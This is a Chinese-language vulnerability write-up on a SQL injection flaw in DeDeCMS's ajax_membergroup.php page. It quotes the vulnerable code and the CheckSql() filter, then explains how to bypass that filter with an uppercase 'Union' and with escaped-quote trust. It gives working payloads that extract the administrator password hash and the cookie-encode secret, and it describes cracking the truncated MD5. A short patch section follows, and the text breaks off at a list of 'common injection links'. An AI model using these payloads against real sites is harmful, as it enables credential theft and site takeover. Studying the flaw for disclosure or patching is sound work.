http://www.yunsec.net/member/ajax_membergroup.php页面的membergroup变量没有过滤导致数字型注入,关键代码如下:
elseif($action == 'post') { if(empty($membergroup)){ echo "您还没有设置分组!"; exit; } $sql = "UPDATE ` SET `groupid`='{$membergroup}' WHERE `fid`='{$mid}' AND `mid`='{$cfg_ml->M_ID}';"; $dsql->ExecuteNoneQuery($sql); $row = $dsql->GetOne("SELECT groupname FROM WHERE mid = {$cfg_ml->M_ID} AND id={$membergroup}"); //数字型注入 echo " ".$row['groupname']." <a href='#' onclick='EditMemberGroup($mid);return false;'>修改</a>";
很明显当“action=post”时,$membergroup导致数字型注入漏洞,但是DeDeCMS在访问MySql数据库之前,使用CheckSql()自定义函数对SQL语句进行安全检查,无法直接注入。 绕过防注入。CheckSql()函数定义在/include/dedesql.class.php或/include/dedesqli.class.php数据库类文件中,代码如下:
if (!function_exists('CheckSql')) { function CheckSql($db_string,$querytype='select') {global $cfg_cookie_encode; $clean = '';$error='';$old_pos = 0;$pos = -1; ...(略) //如果是普通查询语句,直接过滤一些特殊语法 if($querytype=='select') {$notallow1= "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}"; //[^0-9a-z@\._-]{1,}即至少1个非数字、小写字母、@等字符, if(preg_match("/".$notallow1."/", $db_string)) {//①preg_match未使用参数i,使用大写绕过,如:Union puts(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>"); } } while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) {break; } //②假如字符串$db_string中不存在“\'”退出while循环,存在则继续向下执行 $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { ...(略) } $clean .= '$s$'; //③将字符串$db_string中"\'"和"\'"之间的字符转为"$s$",即信任之间的字符串,绕过防注入的关键 $old_pos = $pos + 1; } …..(继续接如下代码) } } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); //④"\s"匹配任何空白字符,包括空格、制表符、换页符等,$clean转为小写 //⑤再次检查union关键字 if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error="union detect"; }
//⑥依次检查--、#、benchmark、load_file、outfile、select等关键字 elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE) {...(略) } //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库 elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) ...(略) //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息 elseif (preg_match('~\([^)]*?select~s', $clean) != 0) {...(略)} if (!empty($fail)) {//存在限制的Sql关键字,写日志文件$log_file,输出“Safe Alert: Request Error step 2!” fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>"); } else {//⑦不存在限制的Sql关键字,返回$db_string字符串 return $db_string; }
语句①使用正则表达式过滤Sql关键字,但是因为没有参数“i”,导致可以使用大写绕过,比如“Union”等,While循环实现将字符串(Sql语句)中转义单引号之间的字符转为“$s$”,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含Sql关键字的文字,比如发表新文章的内容,但是也因此产生了安全漏洞。 漏洞利用。构造membergroup变量值为` Union select pwd from ` where 1 or `”,注意:1)“Union”不能全为小写“union”,2)前后使用`”。当变量提交后,Sql语句成为“SELECT groupname FROM WHERE mid = 8 AND ` Union select pwd from ` where 1 or `”,mid为当前用户id,首先大写Union绕过防注入语句①,然后防注入会将“\'”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有“union、select”等关键字!在CheckSql()函数中添加输出语句如下,可以直观地看到转换前后的Sql语句以及注入结果如图1。…(略) echo "原字符串:".$db_string."<br>"; //完整的SQL检查 while (TRUE) { …(略) } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); echo "转换以后:".$clean."<br>"; …(略
注入管理员密码: ` Union select pwd from ` where 1 or ` //如果存在多个管理员时,可以将where条件改为“id=1 or `”或“userid=0x61646D696E or `” 注入$cfg_cookie_encode ` Union select value from ` where aid=3 or ` //在获得$cfg_cookie_encode后,我们可以直接利用漏洞二。另外在“/data/'.md5($cfg_cookie_encode).'_safe.txt'”文件中记录着注入痕迹。
漏洞修补 目前官方没有升级包,简单的防止注入修补方法可以将ajax_membergroup.php页面删除,或者给CheckSql()自定义函数中的preg_match函数增加“i”参数,防止上传的方法可以过滤“/include/dialog/select_soft_post.php”文件中的变量$newname,限制其以字符“.”、“?”以及空格等字符结束等。
这里注出的是substr(md5($this->userPwd), 5, 20)值,我们可以去掉前三位和最后一位,成为16位MD5码,如“7a57a5a743894a0e”,再进行爆破。常用的注入链接如下:
|